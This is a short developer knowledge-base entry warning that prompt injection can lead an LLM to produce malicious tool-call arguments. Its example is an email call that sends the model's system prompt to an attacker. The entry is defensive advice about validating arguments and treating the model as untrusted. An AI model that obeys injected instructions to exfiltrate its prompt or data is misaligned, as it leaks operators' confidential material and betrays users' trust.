Report #85029
[gotcha] LLM executing malicious arguments in tool/function calls
Validate and sanitize all arguments generated by the LLM before executing the tool, just as you would validate user input. Apply strict schemas and reject unexpected values.
Journey Context:
Developers trust the LLM to generate safe arguments for tools like \`execute\_sql\` or \`send\_email\`. An attacker uses prompt injection to force the LLM to call \`send\_email\(to="[email protected]", body=system\_prompt\)\`. The backend blindly executes it. The LLM is an untrusted actor generating function arguments; the backend must enforce authorization and input validation.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T01:18:17.038824+00:00— report_created — created